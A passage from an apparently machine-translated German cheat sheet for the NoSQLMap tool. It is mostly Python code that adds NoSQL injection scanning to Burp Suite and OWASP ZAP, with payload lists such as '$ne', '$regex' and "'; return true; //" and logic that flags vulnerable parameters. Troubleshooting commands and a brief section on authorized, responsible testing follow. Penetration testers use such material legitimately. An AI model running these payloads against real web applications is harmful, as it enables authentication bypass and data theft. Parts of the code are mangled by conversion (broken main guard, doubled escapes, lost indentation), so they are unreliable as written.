for param_name, param_values in params.items():
for param_value in param_values:
result = self.test_parameter(
request_data,
param_name,
param_value,
"url"
)
if result:
results.append(result)
# Test POST body parameters
if request_data["method"] == "POST" and request_data["body"]:
content_type = request_data["headers"].get("Content-Type", "")
if "application/json" in content_type:
results.extend(self.test_json_body(request_data))
elif "application/x-www-form-urlencoded" in content_type:
results.extend(self.test_form_body(request_data))
return results
def test_parameter(self, request_data, param_name, param_value, param_type):
"""Test individual parameter for NoSQL injection"""
# NoSQL injection payloads
payloads = [
\\\\{"$ne": ""\\\\},
\\\\{"$gt": ""\\\\},
\\\\{"$regex": ".*"\\\\},
\\\\{"$exists": True\\\\},
"'; return true; //",
"\"; return true; //",
"true, true"
]
for payload in payloads:
# Modify request with payload
modified_request = self.inject_payload(
request_data,
param_name,
payload,
param_type
)
# Send request through Burp
try:
response = self.send_request(modified_request)
# Analyze response for injection indicators
if self.analyze_response(response, request_data):
return \\\\{
"parameter": param_name,
"parameter_type": param_type,
"payload": payload,
"vulnerable": True,
"response_length": len(response.text),
"status_code": response.status_code
\\\\}
except Exception as e:
print(f"Error testing parameter \\\\{param_name\\\\}: \\\\{e\\\\}")
return None
def inject_payload(self, request_data, param_name, payload, param_type):
"""Inject payload into request parameter"""
modified_request = request_data.copy()
if param_type == "url":
# Modify URL parameter
parsed_url = urlparse(request_data["url"])
params = parse_qs(parsed_url.query)
if isinstance(payload, dict):
params[param_name] = [json.dumps(payload)]
else:
params[param_name] = [str(payload)]
# Reconstruct URL
new_query = "&".join([f"\\\\{k\\\\}=\\\\{v[0]\\\\}" for k, v in params.items()])
modified_request["url"] = f"\\\\{parsed_url.scheme\\\\}://\\\\{parsed_url.netloc\\\\}\\\\{parsed_url.path\\\\}?\\\\{new_query\\\\}"
elif param_type == "json":
# Modify JSON body
try:
body_data = json.loads(request_data["body"])
body_data[param_name] = payload
modified_request["body"] = json.dumps(body_data)
except:
pass
return modified_request
def send_request(self, request_data):
"""Send request through Burp proxy"""
if request_data["method"] == "GET":
response = self.session.get(
request_data["url"],
headers=request_data["headers"]
)
elif request_data["method"] == "POST":
response = self.session.post(
request_data["url"],
headers=request_data["headers"],
data=request_data["body"]
)
else:
response = self.session.request(
request_data["method"],
request_data["url"],
headers=request_data["headers"],
data=request_data["body"]
)
return response
def analyze_response(self, response, original_request):
"""Analyze response for injection indicators"""
# Check for error messages indicating injection
error_indicators = [
"MongoError",
"CouchDB",
"Redis",
"NoSQL",
"JSON.parse",
"SyntaxError",
"unexpected token"
]
response_text = response.text.lower()
for indicator in error_indicators:
if indicator.lower() in response_text:
return True
# Check for significant response length differences
# This would require baseline response for comparison
return False
Usage¶
if name == "main": integration = BurpNoSQLIntegration()
# Import request from Burp
request_data = integration.import_burp_request("burp_request.txt")
# Test for NoSQL injection
results = integration.test_nosql_injection(request_data)
# Print results
for result in results:
if result["vulnerable"]:
print(f"Vulnerable parameter found: \\\\{result['parameter']\\\\}")
print(f"Payload: \\\\{result['payload']\\\\}")
```_
OWASP ZAP Integration¶
```python
!/usr/bin/env python3¶
NoSQLMap integration with OWASP ZAP¶
from zapv2 import ZAPv2 import time import json
class ZAPNoSQLIntegration: def init(self, zap_proxy="http://127.0.0.1:8080"): self.zap = ZAPv2(proxies=\\{'http': zap_proxy, 'https': zap_proxy\\}) self.nosql_payloads = self.load_nosql_payloads()
def load_nosql_payloads(self):
"""Load NoSQL injection payloads"""
return [
'\\\\{"$ne":""\\\\}',
'\\\\{"$gt":""\\\\}',
'\\\\{"$regex":".*"\\\\}',
'\\\\{"$exists":true\\\\}',
"'; return true; //",
'"; return true; //',
"true, true",
"false, true"
]
def spider_target(self, target_url):
"""Spider target to discover endpoints"""
print(f"Spidering target: \\\\{target_url\\\\}")
# Start spider
spider_id = self.zap.spider.scan(target_url)
# Wait for spider to complete
while int(self.zap.spider.status(spider_id)) < 100:
print(f"Spider progress: \\\\{self.zap.spider.status(spider_id)\\\\}%")
time.sleep(5)
print("Spider completed")
# Get discovered URLs
urls = self.zap.core.urls()
return urls
def test_nosql_injection(self, target_url):
"""Test target for NoSQL injection vulnerabilities"""
# Spider target first
urls = self.spider_target(target_url)
vulnerabilities = []
for url in urls:
print(f"Testing URL: \\\\{url\\\\}")
# Get URL parameters
params = self.get_url_parameters(url)
for param in params:
for payload in self.nosql_payloads:
# Test parameter with payload
result = self.test_parameter_injection(url, param, payload)
if result:
vulnerabilities.append(result)
return vulnerabilities
def get_url_parameters(self, url):
"""Extract parameters from URL"""
from urllib.parse import urlparse, parse_qs
parsed = urlparse(url)
params = parse_qs(parsed.query)
return list(params.keys())
def test_parameter_injection(self, url, parameter, payload):
"""Test specific parameter for injection"""
# Modify URL with payload
modified_url = self.inject_payload_in_url(url, parameter, payload)
# Send request through ZAP
try:
response = self.zap.core.send_request(modified_url)
# Analyze response
if self.analyze_nosql_response(response):
return \\\\{
"url": url,
"parameter": parameter,
"payload": payload,
"vulnerable": True,
"response": response
\\\\}
except Exception as e:
print(f"Error testing \\\\{url\\\\} with payload \\\\{payload\\\\}: \\\\{e\\\\}")
return None
def inject_payload_in_url(self, url, parameter, payload):
"""Inject payload into URL parameter"""
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
parsed = urlparse(url)
params = parse_qs(parsed.query)
# Inject payload
params[parameter] = [payload]
# Reconstruct URL
new_query = urlencode(params, doseq=True)
new_parsed = parsed._replace(query=new_query)
return urlunparse(new_parsed)
def analyze_nosql_response(self, response):
"""Analyze response for NoSQL injection indicators"""
# Check for error messages
error_indicators = [
"MongoError",
"CouchDB",
"Redis",
"NoSQL",
"JSON.parse",
"SyntaxError"
]
response_text = response.lower()
for indicator in error_indicators:
if indicator.lower() in response_text:
return True
return False
def generate_zap_report(self, vulnerabilities, output_file="zap_nosql_report.html"):
"""Generate ZAP-style report for NoSQL vulnerabilities"""
# Add custom alerts to ZAP
for vuln in vulnerabilities:
self.zap.core.add_alert(
risk="High",
confidence="Medium",
name="NoSQL Injection",
description=f"NoSQL injection vulnerability found in parameter \\\\{vuln['parameter']\\\\}",
url=vuln["url"],
param=vuln["parameter"],
evidence=vuln["payload"]
)
# Generate HTML report
report = self.zap.core.htmlreport()
with open(output_file, 'w') as f:
f.write(report)
print(f"Report generated: \\\\{output_file\\\\}")
Usage¶
if name == "main": zap_integration = ZAPNoSQLIntegration()
target_url = "http://example.com"
# Test for NoSQL injection
vulnerabilities = zap_integration.test_nosql_injection(target_url)
# Generate report
zap_integration.generate_zap_report(vulnerabilities)
print(f"Found \\\\{len(vulnerabilities)\\\\} NoSQL injection vulnerabilities")
```_
Fehlerbehebung¶
Gemeinsame Themen¶
Installationsprobleme: ```bash
Python dependency issues¶
pip install --upgrade pip pip install --upgrade setuptools wheel
Permission issues¶
pip install --user nosqlmap
Virtual environment issues¶
python3 -m venv nosqlmap-env source nosqlmap-env/bin/activate pip install nosqlmap
Missing system dependencies¶
sudo apt install python3-dev libffi-dev libssl-dev ```_
Anmeldefragen: ```bash
Proxy configuration¶
nosqlmap --target http://example.com --proxy http://127.0.0.1:8080
SSL/TLS issues¶
nosqlmap --target https://example.com --disable-ssl-verification
Timeout issues¶
nosqlmap --target http://example.com --timeout 30
User agent issues¶
nosqlmap --target http://example.com --user-agent "Custom Agent" ```_
Datenbasis-spezifische Fragen: ```bash
MongoDB connection issues¶
Check MongoDB version compatibility¶
Verify authentication requirements¶
Check network connectivity¶
CouchDB access issues¶
Verify CouchDB version¶
Check authentication settings¶
Validate view permissions¶
Redis connection problems¶
Check Redis configuration¶
Verify authentication¶
Test network connectivity¶
```_
Debugging¶
Debugging und Protokollierung aktivieren:
```bash
Verbose output¶
nosqlmap --target http://example.com --verbose
Debug mode¶
nosqlmap --target http://example.com --debug
Save all requests/responses¶
nosqlmap --target http://example.com --save-requests
Custom logging¶
nosqlmap --target http://example.com --log-file nosql_debug.log
Network debugging¶
nosqlmap --target http://example.com --proxy http://127.0.0.1:8080 --verbose ```_
Sicherheitsüberlegungen¶
Verantwortliche Prüfung¶
Autorisierung: - Nur Testsysteme, die Sie besitzen oder eine ausdrückliche Genehmigung zur Prüfung haben - Erhalten Sie eine ordnungsgemäße schriftliche Genehmigung vor der Prüfung - Einschränkungen der Reichweite und Prüffenster - Alle Prüftätigkeiten
Impact Minimierung: - Verwenden Sie nur Lesevorgänge, wenn möglich - Vermeiden Sie destruktive Nutzlasten in Produktionsumgebungen - Ergänzende Rate begrenzt DoS - Überwachung der Systemauswirkungen bei der Prüfung
Recht und Compliance¶
Rechtsvorschriften: - Erfüllung geltender Gesetze und Vorschriften - Einhaltung der Nutzungsbedingungen - Vertraulichkeit der entdeckten Schwachstellen bewahren - Verantwortliche Offenlegungspraktiken
Beste Praktiken: - Verwenden Sie dedizierte Testumgebungen, wenn möglich - Implementierung richtiger Zugriffskontrollen für Prüfwerkzeuge - Sichere Speicherung der Testergebnisse und Nachweise - Regelmäßiges Sicherheitstraining und Bewusstsein
Referenzen¶
- NoSQLMap GitHub Repository
- [OWASP NoSQL Injection](LINK_5_
- [MongoDB Sicherheitskontrollliste](LINK_5
- [CouchDB Security Features](LINK_5_
- [Redis Security](LINK_5_